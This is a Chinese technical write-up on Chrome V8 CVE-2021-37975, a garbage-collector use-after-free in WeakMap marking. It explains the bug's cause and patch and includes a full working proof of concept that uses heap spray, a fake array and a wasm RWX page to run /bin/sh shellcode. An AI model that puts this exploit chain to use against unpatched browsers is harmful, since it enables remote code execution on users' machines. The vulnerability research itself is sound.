首页
社区
课程
招聘
[原创]chrome v8漏洞CVE-2021-37975浅析
2024-5-8 18:44 1941

[原创]chrome v8漏洞CVE-2021-37975浅析

2024-5-8 18:44
1941

chrome v8漏洞CVE-2021-37975浅析

作者: coolboy

前言

CVE-2021-37975 是产生在v8 GC模块的UAF漏洞,利用堆喷可以在原地址申请一个对象,新对象跟释放对象的类型不一致,可以造成类型混淆,从而实现利用。
文章分析了漏洞成因、原理、patch以及POC细节。
这是一个系列文章,本文是第二篇,前一篇:chrome v8漏洞CVE-2021-30632浅析

POC

编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
 
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
 
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
 
# 漏洞补丁前一笔提交
 
git checkout 452f57beb81
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
 
# test
 
./out/x64.release/d8 --help

运行POC

先给出POC及复现命令,有一个利用成功的整体感受,后续会拆解POC代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
// poc.js
function sleep(miliseconds) {
  var currentTime = new Date().getTime();
  while (currentTime + miliseconds >= new Date().getTime()) {
  }
}
 
var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 1000;
 
//Get mapAddr using DebugPrint for double array (the compressed address of the map)
var mapAddr = 0x8203ae1;
var mapAddr = 0x8183ae1
 
var rwxOffset = 0x60;
 
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;
 
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function hideWeakMap(map, level, initKey) {
 let prevMap = map;
 let prevKey = initKey;
 for (let i = 0; i < level; i++) {
   let thisMap = new WeakMap();
   prevMap.set(prevKey, thisMap);
   let thisKey = {'h' : i};
   //make thisKey reachable via prevKey
   thisMap.set(prevKey, thisKey);
   prevMap = thisMap;
   prevKey = thisKey;
   if (i == level - 1) {
     let retMap = new WeakMap();
     map.set(thisKey, retMap);
     return thisKey;
   }
 }
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function getHiddenKey(map, level, initKey) {
 let prevMap = map;
 let prevKey = initKey;
 for (let i = 0; i < level; i++) {
   let thisMap = prevMap.get(prevKey);
   let thisKey = thisMap.get(prevKey);
   prevMap = thisMap;
   prevKey = thisKey;
   if (i == level - 1) {
     return thisKey;
   }
 }
}
 
function setUpWeakMap(map) {
//  for (let i = 0; i < 1000; i++) new Array(300);
 //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
 let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
 let hiddenMap = map.get(hk);
 let map7 = new WeakMap();
 let map8 = new WeakMap();
 
//hk->k5, k5: discover->wl
 let k5 = {k5 : 1};
 let map5 = new WeakMap();
 let k7 = {k7 : 1};
 let k9 = {k9 : 1};
 let k8 = {k8 : 1};
 let ta = new Uint8Array(1024);
 ta.fill(0xfe);
 let larr = new Array(1 << 15);
 larr.fill(1.1);
 console.log("================ double in free zone: larr");
 // %DebugPrint(larr);
 let v9 = {ta : ta, larr : larr};
 map.set(k7, map7);
 map.set(k9, v9);
 
//map3 : kb|vb: initial discovery ->wl
 hiddenMap.set(k5, map5);
 hiddenMap.set(hk, k5);
 
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
 map5.set(hk, k7);
  
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1
 
//wl discovers map8, and mark k8 black
 map7.set(k8, map8);
 map7.set(k7, k8);
 
//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
 map8.set(k8,k9);
  
}
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
 
function ftoi32(f) {
 dblArr[0] = f;
 return [intView[0], intView[1]];
}
 
function i32tof(i1, i2) {
 intView[0] = i1;
 intView[1] = i2;
 return dblArr[0];
}
 
function itof(i) {
 bigIntView = BigInt(i);
 return dblArr[0];
}
 
function ftoi(f) {
 dblArr[0] = f;
 return bigIntView[0];
}
 
function gc() {
 //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
 new ArrayBuffer(gcSize);
}
 
function restart() {
 //Should deopt main if it gets optimized
 global.__proto__ = {};
 gc();
 sleep(2000);
 main();
}
 
function main() {
   setUpWeakMap(map1);
   //sleep(2000);
   gc();
   //sleep(2000);
 
 
   let sprayParamArr = [];
 
   for (let i = 0; i < sprayParam; i++) {
     let thisArr = new Array(1 << 15);
     sprayParamArr.push(thisArr);
   }
   //These are there to stop main being optimized by JIT
   globalIdx['a' + globalIdx] = 1;
   //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
   for (let i = 0; i < sprayParamArr.length; i++) {
     let thisArr = sprayParamArr[i];
     thisArr.fill(instance);
   }
   globalIdx['a' + globalIdx + 1000] = 1;
   let result = null;
   
   try {
     // handle: Cannot read properties of undefined. out of order map keys
     result = fetch();
   } catch (e) {
     console.log("fetch failed");
     restart();
     return;
   }
   if (!result) {
     console.log("fail to find object address.");
     restart();
     return;
   }
 
   let larr = result.larr;
   let index = result.idx;
 
   console.log("================ double in free zone: instance");
   // %DebugPrint(instance);
 
   // larr 里面全部存放的是instance 对象地址, index 默认为0
   let instanceAddr = ftoi32(larr[index])[0];
   let instanceAddr2 = ftoi32(larr[index])[1];
   let instanceFloatAddr = larr[index];
   console.log("================found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
   console.log("================found instance address2: 0x" + instanceAddr2.toString(16) + " at index: " + index);
    
   let x = {};
   for (let i = 0; i < sprayParamArr.length; i++) {
     let thisArr = sprayParamArr[i];
     thisArr.fill(x);
   }
 
   globalIdx['a' + globalIdx + 5000] = 1;
 
   larr[index] = instanceFloatAddr;
   let objArrIdx = -1;
   let thisArrIdx = -1;
   for (let i = 0; i < sprayParamArr.length; i++) {
     globalIdx['a' + globalIdx + 3000] = 1;
     global.__proto__ = {};
     let thisArr = sprayParamArr[i];
     for (let j = 0; j < thisArr.length; j++) {
       let thisObj = thisArr[j];
       if (thisObj == instance) {
         console.log("found instance object at: " + i + " index: " + j);
         objArrIdx = i;
         thisArrIdx = j;
       }
     }
   }
   globalIdx['a' + globalIdx + 4000] = 1;
   if (objArrIdx == -1) {
     console.log("failed getting fake object index.");
     restart();
     return;
   }
   let obj = [1.1,1.2,1.3,0.0];
   console.log("================ obj");
   // %DebugPrint(obj)
   let thisArr = sprayParamArr[objArrIdx];
   thisArr.fill(obj);
   globalIdx['a' + globalIdx + 2000] = 1;
   // 现在larr里面填充的是obj 对象地址
   // %SystemBreak();
 
   let addr = ftoi32(larr[index])[0];
   let objEleAddr = addr + 0x18 + 0x8;
   let floatAddr = i32tof(objEleAddr, objEleAddr);
   let floatMapAddr = i32tof(mapAddr, mapAddr);
   //Faking an array at using obj[0] and obj[1]
   obj[0]  = floatMapAddr;
   let eleLength = i32tof(instanceAddr + rwxOffset, 10);
 
   obj[1] = eleLength;
 
   larr[index] = floatAddr;
   console.log("array address: 0x" + addr.toString(16));
   console.log("array element address: 0x" + objEleAddr.toString(16));
   let rwxAddr = 0;
   let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
   if (!(fakeArray instanceof Array)) {
     console.log("fail getting fake array.");
     restart();
     return;
   }
   rwxAddr = fakeArray[0];
   console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
 
   if (rwxAddr == 0) {
     console.log("failed getting rwx address.");
     restart();
     return;
   }
 
   //Read shellArray address
   let shellArray = new Uint8Array(100);
   thisArr = sprayParamArr[objArrIdx];
   thisArr.fill(shellArray);
 
   let shellAddr = ftoi32(larr[index])[0];
   console.log("shellArray addr: 0x" + shellAddr.toString(16));
   obj[1] = i32tof(shellAddr + 0x20, 10);
   fakeArray[0] = rwxAddr;
   var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
   for (let i = 0; i < shellCode.length; i++) {
     shellArray[i] = shellCode[i];
   }
   wasmMain();
}
 
function findTA(ta) {
   let found = false;
   for (let i = 0; i < 16; i++) {
     if (ta[i] != 0xfe) {
         console.log(ta[i]);
         return true;
     }
   }
   console.log(ta[0]);
   return found;
}
 
/*
let ta = new Uint8Array(1024);
   ta.fill(0xfe);
   let larr = new Array(1 << 15);
   larr.fill(1.1);
   let v9 = {ta : ta, larr : larr};
*/
function findLArr(larr) {
   for (let i = 0; i < (1 << 15); i++) {
       if (larr[i] != 1.1) {
         let addr = ftoi32(larr[i]);
         return i;
       }
       else {
        // 可以正常打印,标记了,还没有真正free?
        //console.log(larr[i])
       }
   }
   return -1;
}
 
function fetch() {
   let hiddenKey = getHiddenKey(map1, level, initKey);
   let hiddenMap = map1.get(hiddenKey);
   let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
   let k8 = map1.get(k7).get(k7);
   let map8 = map1.get(k7).get(k8);
 
   console.log('===========before access free pointet 1')
   console.log('===========before access free pointet 2')
   let larr = map1.get(map8.get(k8)).larr;
   console.log('===========before findLArr')
   let index = findLArr(larr);
   console.log('===========after findLArr')
   if (index == -1) {
     return;
   }
   return {larr : larr, idx : index};
}
global = {};
globalIdx = 0;
main();

运行./out/x64.release/d8 poc.js, 得到shell,如下图:

要使上面的程序运行成功,有两点需要注意:

  • var mapAddr = 0x8183ae1 ,在不同环境可能不一致,需要修改为当前环境的值。它是double array的map地址。关于map的概念,可以参考chrome v8漏洞CVE-2021-30632浅析。当前环境map地址通过执行下面命令得到。
1
2
3
// test1.js
let obj = [1.1,1.1,1.1];
%DebugPrint(obj)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
user % ./out/x64.release/d8 --allow-natives-syntax test1.js
DebugPrint: 0x5fe08049501: [JSArray]
 - map: 0x05fe08183ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x05fe0814c0f9 <JSArray[0]>
 - elements: 0x05fe080494e1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x05fe0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x5fe080048f1: [String] in ReadOnlySpace: #length: 0x05fe080c215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x05fe080494e1 <FixedDoubleArray[3]> {
         0-2: 1.1
 }
# 0x05fe08183ae1 取低32位0x8183ae1, 赋值给poc.js里面的mapAddr 即可。取低32位,是因为v8采用了地址压缩技术,64位地址在变量中只保存低32位,高32位在寄存中保留。
# POC可以简单通过test1.js 来获取double arr的地址; exp实际利用环境,可以通过此UAF漏洞构造任意地址读来获取double arr的地址。 方法不再赘述。
  • 由于堆喷不稳定、weakmap的多个key遍历是无序的等原因,POC成功率不是100%,如果失败,需要多尝试几次。

漏洞成因分析

GC背景




如图,v8 GC垃圾回收核心算法是三色算法。

  • 黑色表示正在使用的对象,不能被回收。
  • 灰色表示,通过黑色对象可以被访问的对象,被加入worklist;在worklist中的对象会在下一次迭代中标记为黑色。
  • 白色表示在当前状态下,不能被访问到的对象。

如果GC算法运行结束,仍然为白色的对象,将被释放。当前漏洞的成因是一个能够被访问到的对象在GC算法结束时,被错误的标记为白色,因而被释放,导致了UAF

WeakMap背景

js中的 WeakMap 不支持迭代以及 keys(),values() 和 entries() 方法,只有下面方法:

  • weakMap.get(key)
  • weakMap.set(key, value)
  • weakMap.delete(key)
  • weakMap.has(key)
    也就是说,想要获取value,只能通过get方法,传入key获取。当key被delete时,value再也无法被访问了。结合GC来看,当WeakMap的key能被访问时,value也能被访问,此时key, value都应该被标记为黑色。当key无法访问时,value也无法访问,均被标记为白色。

漏洞分析

介绍4个重要的数据结构:

  • next_ephemerons: 当(key, value) 均为白色对象时则存放在next_ephemerons中,供下一次迭代使用。
  • current_ephemerons: 在迭代开始时与next_ephemerons进行交换,交换完之后next_ephemerons为空。
  • local_marking_worklists: 可以通过黑色对象访问的白色对象被标记为灰色,并且放入local_marking_worklists。灰色对象在ProcessMarkingWorklist函数中被标记为黑色。
  • discovered_ephemerons 当local_marking_worklists中的WeakMap对象被标记为黑色的时候,WeakMap中均为白色的键值对将被加入到discovered_ephemerons中。

介绍几个关键函数,均位于mark-compact.cc。

  • MarkLiveObjects 功能如其名,将存活的对象标记为黑色。它是GC标记算法的入口。它会调用两次 ProcessEphemeronMarking。
  • ProcessEphemeronMarking WeakMap中的(key, value)被称为Ephemeron,这个函数处理WeakMap键值对的标记。
  • ProcessEphemeronsUntilFixpoint ProcessEphemeronMarking 调用 ProcessEphemeronsUntilFixpoint实现功能。主要功能见下面代码及注释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
  while (work_to_do) {
  // 迭代超过10次,换另外一个标记算法 ProcessEphemeronsLinear
  if (iterations >= max_iterations) {
    ProcessEphemeronsLinear();
    break;
  }
 
  // 迭代开始时current_ephemerons 与 next_ephemerons交换,交换之后next_ephemerons为空
  weak_objects_.current_ephemerons.Swap(weak_objects_.next_ephemerons);
  heap()->concurrent_marking()->set_ephemeron_marked(false);
 
  ...
 
  // 调用ProcessEphemerons 对current_ephemerons、next_ephemerons、local_marking_worklists、discovered_ephemerons等数据结构做处理,并且根据返回结果判断是否还需要下一次迭代
  work_to_do = ProcessEphemerons();
 
  ...
 
  work_to_do = work_to_do || !local_marking_worklists()->IsEmpty() ||
               heap()->concurrent_marking()->ephemeron_marked() ||
               !local_marking_worklists()->IsEmbedderEmpty() ||
               !heap()->local_embedder_heap_tracer()->IsRemoteTracingDone();
  ++iterations;
}
  • ProcessEphemerons 功能如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bool MarkCompactCollector::ProcessEphemerons() {
  Ephemeron ephemeron;
  bool ephemeron_marked = false;
 
  // 对current_ephemerons中的每一个键值对调用ProcessEphemeron做处理,如果成功,则返回true,表示需要再迭代一次
  while (weak_objects_.current_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
    if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
      ephemeron_marked = true;
    }
  }
 
  /*
   对local_marking_worklists中的每一个对象进行递归访问。对于WeakMap对象来说,遍历它的每一个键值对。(区别JS中不能遍历WeakMap键值对,v8引擎实现WeakMap时是有能力遍历的)
   (key, value) 为 (黑, 黑) 不做任何处理
   (key, value) 为 (黑, 白) 将value对象标记为灰,加入到local_marking_worklists队列中,DrainMarkingWorklist会继续处理这个对象,直至队列清空。
   (key, value) 为 (白, 黑) 将key对象标记为灰,加入到local_marking_worklists队列中,DrainMarkingWorklist会继续处理这个对象,直至队列清空。
   (key, value) 为 (白, 白) 将键值对加入到discovered_ephemerons队列中
  */
  DrainMarkingWorklist();
 
  // 将discovered_ephemerons 中的键值对用ProcessEphemeron 处理
  while (weak_objects_.discovered_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
    if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
      ephemeron_marked = true;
    }
  }
 
  // Flush local ephemerons for main task to global pool.
  weak_objects_.ephemeron_hash_tables.FlushToGlobal(kMainThreadTask);
  weak_objects_.next_ephemerons.FlushToGlobal(kMainThreadTask);
 
  return ephemeron_marked;
}
  • ProcessEphemeron功能如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bool MarkCompactCollector::ProcessEphemeron(HeapObject key, HeapObject value) {
  // key为黑或者灰的时候,将value标记为灰,加入到local_marking_worklists,下一次迭代时处理
  if (marking_state()->IsBlackOrGrey(key)) {
    if (marking_state()->WhiteToGrey(value)) {
      local_marking_worklists()->Push(value);
      return true;
    }
 
  } else if (marking_state()->IsWhite(value)) {
    // 键值对均为白,加入到next_ephemerons中
    weak_objects_.next_ephemerons.Push(kMainThreadTask, Ephemeron{key, value});
  }
 
  return false;
}

就是上面的标记算法出现了漏洞。考虑下面代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
bool MarkCompactCollector::ProcessEphemerons() {
  Ephemeron ephemeron;
  bool ephemeron_marked = false;
 
  while (weak_objects_.current_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
    if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
      ephemeron_marked = true;
    }
  }
 
  /*
   对local_marking_worklists中的每一个对象进行递归访问。对于WeakMap对象来说,遍历它的每一个键值对。(区别JS中不能遍历WeakMap键值对,v8引擎实现WeakMap时是有能力遍历的)
   (key, value) 为 (黑, 黑) 不做任何处理
   (key, value) 为 (黑, 白) 将value对象标记为灰,加入到local_marking_worklists,DrainMarkingWorklist会继续处理这个对象,直至队列清空。
   (key, value) 为 (白, 黑) 将key对象标记为灰,加入到local_marking_worklists队列中,DrainMarkingWorklist会继续处理这个对象,直至队列清空。
   (key, value) 为 (白, 白) 将键值对加入到discovered_ephemerons队列中
  */
  DrainMarkingWorklist();
 
  while (weak_objects_.discovered_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
    if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
      ephemeron_marked = true;
    }
  }
 
  weak_objects_.ephemeron_hash_tables.FlushToGlobal(kMainThreadTask);
  weak_objects_.next_ephemerons.FlushToGlobal(kMainThreadTask);
 
  return ephemeron_marked;
}

ProcessEphemeron 函数如果标记成功,将ephemeron_marked置为true,并开启下一次迭代。
DrainMarkingWorklist 函数内部在(key, value)为(黑,白)或者(白,黑)时也将会对白色的对象进行标记。遗憾的是,标记完之后并没有判断返回值。也就是说,可能出现DrainMarkingWorklist标记一个对象为黑之后,并不开启下一次迭代,从而结束GC算法

考虑一轮标记各结构如上图,此时current_ephemerons中(k1, v1), (k2, v2)为白。
local_marking_worklists中存放了灰色的v3, v3是一个WeakMap, v3.set(k0, k1),假设此时k0为黑。DrainMarkingWorklist将v3由灰标记为黑,并递归遍历v3所有的key, value,此时(k0, k1)为(黑,白),将会把k1变为灰,加入到local_marking_worklists,并接着将local_marking_worklists中的k1由灰标记为黑,直至local_marking_worklists为空。
由于调用DrainMarkingWorklist并未判断返回值,k1被标记为黑色之后,如果此时GC标记算法结束,那么current_ephemerons中的v1由于还是白,将会被释放掉。而v1可以通过weakmap.get(k1)访问到,就会造成了UAF。

补丁分析

1
2
3
4
5
6
7
8
-  DrainMarkingWorklist();
size_t objects_processed;
+  std::tie(std::ignore, objects_processed) = ProcessMarkingWorklist(0);
+
// As soon as a single object was processed and potentially marked another
// object we need another iteration. Otherwise we might miss to apply
// ephemeron semantics on it.
if (objects_processed > 0) another_ephemeron_iteration = true;

补丁代码比较多,核心的就是这里,判断了ProcessMarkingWorklist的返回值,当它对某个对象标记之后,迭代再来一轮,这样v1就会在下一轮对current_ephemerons中的处理中被标记,不会被回收了。

ProcessEphemeronsLinear

ProcessEphemeronsUntilFixpoint中迭代超过10次(max_iterations),那么将采用另外一个算法ProcessEphemeronsLinear。这个算法有没有漏洞呢?

1
2
3
4
5
6
while (work_to_do) {
// 迭代超过10次,换另外一个标记算法 ProcessEphemeronsLinear
if (iterations >= max_iterations) {
    ProcessEphemeronsLinear();
    break;
}

ProcessEphemeronsLinear算法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
void MarkCompactCollector::ProcessEphemeronsLinear() {
  ...
  weak_objects_.current_ephemerons.Swap(weak_objects_.next_ephemerons);
   
  // 处理current_ephemerons
  while (weak_objects_.current_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
    ProcessEphemeron(ephemeron.key, ephemeron.value);
    // key_to_values 保留value为白的键值对
    if (non_atomic_marking_state()->IsWhite(ephemeron.value)) {
      key_to_values.insert(std::make_pair(ephemeron.key, ephemeron.value));
    }
  }
 
  ephemeron_marking_.newly_discovered_limit = key_to_values.size();
  bool work_to_do = true;
 
  while (work_to_do) {
    PerformWrapperTracing();
 
    ResetNewlyDiscovered();
    ephemeron_marking_.newly_discovered_limit = key_to_values.size();
 
    // 处理 local_marking_worklists
    // 乍一看,ProcessEphemeronsLinear 也没有处理ProcessMarkingWorklist的返回值,是不是也存在漏洞?接着看
    ProcessMarkingWorklist<
          MarkCompactCollector::MarkingWorklistProcessingMode::
              kTrackNewlyDiscoveredObjects>(0);
 
    // 处理discovered_ephemerons
    while (
        weak_objects_.discovered_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
      ProcessEphemeron(ephemeron.key, ephemeron.value);
 
      if (non_atomic_marking_state()->IsWhite(ephemeron.value)) {
        key_to_values.insert(std::make_pair(ephemeron.key, ephemeron.value));
      }
    }
 
    if (ephemeron_marking_.newly_discovered_overflowed) {
      // 想要触发漏洞,不能进这个分支。k1被标记为黑,走这个分支,v1将被标记会为灰,并加入local_marking_worklists,这将开启下一个迭代,v1将不会被free
      weak_objects_.next_ephemerons.Iterate([&](Ephemeron ephemeron) {
        if (non_atomic_marking_state()->IsBlackOrGrey(ephemeron.key) &&
            non_atomic_marking_state()->WhiteToGrey(ephemeron.value)) {
          local_marking_worklists()->Push(ephemeron.value);
        }
      });
 
    } else {
      /*
       进到这个分支。如果k1不在ephemeron_marking_.newly_discovered数组中,那么将会触发漏洞。
       经过调试发现,ephemeron_marking_.newly_discovered数组中包含k1。这个数组是通过ProcessMarkingWorklist<
          MarkCompactCollector::MarkingWorklistProcessingMode::
              kTrackNewlyDiscoveredObjects>(0);函数调用时启用的一个数组,用来记录local_marking_worklists中被标记为黑色的对象。
              因此k1在这个数组中。进一步key_to_values中的(k1,v1)被查找出来,MarkObject(object, value)将会标记v1
      */
 
      for (HeapObject object : ephemeron_marking_.newly_discovered) {
        auto range = key_to_values.equal_range(object);
        for (auto it = range.first; it != range.second; ++it) {
          HeapObject value = it->second;
          MarkObject(object, value);
        }
      }
    }
 
    // 判断是否需要下一个循环
    work_to_do = !local_marking_worklists()->IsEmpty() ||
                 !local_marking_worklists()->IsEmbedderEmpty() ||
                 !heap()->local_embedder_heap_tracer()->IsRemoteTracingDone();
    CHECK(weak_objects_.discovered_ephemerons.IsEmpty());
  }
 
  ResetNewlyDiscovered();
  ephemeron_marking_.newly_discovered.shrink_to_fit();
 
  CHECK(local_marking_worklists()->IsEmpty());
}

因此,ProcessEphemeronsLinear 虽然没有判断ProcessMarkingWorklist返回值,但它通过newly_discovered数组覆盖了有对象被标记为黑色的情况,因此也不存在漏洞。

POC详解

1
2
3
4
5
6
7
var initKey = {init : 1};
var map1 = new WeakMap();
function main() {
   setUpWeakMap(map1);
   gc();
}
// 构造一个WeakMap,map1,它的初始key:initKey是全局可见的,其他可见(key, value)对,都需要通过initkey来查找
1
2
3
4
5
6
7
function setUpWeakMap(map) {
    let hk = hideWeakMap(map, level, initKey);
    let hiddenMap = map.get(hk);
    ...
    xxxxxxx
    ...
}

setUpWeakMap 分成两部分,hideWeakMap,及xxxxx代表的第二部分。回顾前面提及过MarkLiveObjects 两次 ProcessEphemeronMarking。因此需要构造一个嵌套的结构。如下图:

hideWeakMap构造了左边的结构。
setUpWeakMap剩余部分构造了右边的结构。

  • 第一次ProcessEphemeronMarking开始时,wm0、k0为黑,其他为白。调用结束时,Hwm(hiddenMap)为白色,其他为黑,Hwm进入第二次ProcessEphemeronMarking调用处理。
  • 第二次ProcessEphemeronMarking开始时,k4为黑,其他为白。调用结束时,v9为白色,其他为黑,v9被free掉。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function setUpWeakMap(map) {
    ...
    let ta = new Uint8Array(1024);
    ta.fill(0xfe);
    let larr = new Array(1 << 15);
    larr.fill(1.1);
    let v9 = {ta : ta, larr : larr};
    ...
}
function main() {
    setUpWeakMap(map1);
    // 触发gc,此时v9被free。 v9.ta(uint arr), v9.larr(double arr)均被free
    gc();
 
    let sprayParamArr = [];
 
    for (let i = 0; i < sprayParam; i++) {
        // 大小跟v9.larr一样大,堆喷,大概率可以在v9.larr被释放的内存上再次申请到新对象thisArr
        // 这里并没有复写里面的内容,因此还是v9.larr里面存放的1.1
        let thisArr = new Array(1 << 15);
        sprayParamArr.push(thisArr);
    }
    for (let i = 0; i < sprayParamArr.length; i++) {
        let thisArr = sprayParamArr[i];
        // 将1.1 替换为instance地址
        thisArr.fill(instance);
    }
    ...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function fetch() {
   let hiddenKey = getHiddenKey(map1, level, initKey);
   let hiddenMap = map1.get(hiddenKey);
   let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
   let k8 = map1.get(k7).get(k7);
   let map8 = map1.get(k7).get(k8);
 
   let larr = map1.get(map8.get(k8)).larr;
   // 通过map1和initKey找到v9.larr,此时已经被堆喷了,因此访问不会crash
   let index = findLArr(larr);
   if (index == -1) {
     return;
   }
   return {larr : larr, idx : index};
}
 
function findLArr(larr) {
    for (let i = 0; i < (1 << 15); i++) {
        // 值如果不是1.1,那么表示被替换为instance地址,表示堆喷成功
        if (larr[i] != 1.1) {
            let addr = ftoi32(larr[i]);
            return i;
        }
    }
    return -1;
}
function main() {
    try {
        // handle: Cannot read properties of undefined. out of order map keys
        result = fetch();
    } catch (e) {
        console.log("fetch failed");
        restart();
        return;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
let obj = [1.1,1.2,1.3,0.0];
let thisArr = sprayParamArr[objArrIdx];
// 将obj的地址写入到v9.larr(double arr)里面
thisArr.fill(obj);
globalIdx['a' + globalIdx + 2000] = 1;
 
// 获取obj的addr
let addr = ftoi32(larr[index])[0];
// obj 数组指针的地址,可以通过DebugPrint或者gdb查看,0x20偏移,不同版本v8可能不一样
let objEleAddr = addr + 0x18 + 0x8;
// objEleAddr/floatAddr  等于 &obj[0]表示的地址
let floatAddr = i32tof(objEleAddr, objEleAddr);
let floatMapAddr = i32tof(mapAddr, mapAddr);
// 利用obj数组构造一个假的对象,对象类型为double arr
// 填充假对象的map:floatMapAddr,它是double arr的map值,因此这个假对象是个double arr对象
obj[0]  = floatMapAddr;
 
let eleLength = i32tof(instanceAddr + rwxOffset, 10);
// 填充double arr对象的数组指针(instanceAddr + rwxOffset) 和 长度(10)
obj[1] = eleLength;
 
// floatAddr是假对象的地址,将假对象地址通过double arr写入内存
larr[index] = floatAddr;
console.log("array address: 0x" + addr.toString(16));
console.log("array element address: 0x" + objEleAddr.toString(16));
 
// 获取假对象,他是double arr,数组指向 instanceAddr + rwxOffset,这个地址存放着可读可写可执行的地址的值。是instance.exports.main函数入口
let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
...
// 读出instance.exports.main函数的值
rwxAddr = fakeArray[0];
 
...
// 创建一个数组对象
let shellArray = new Uint8Array(100);
thisArr = sprayParamArr[objArrIdx];
thisArr.fill(shellArray);
 
// 获取数组对象地址
let shellAddr = ftoi32(larr[index])[0];
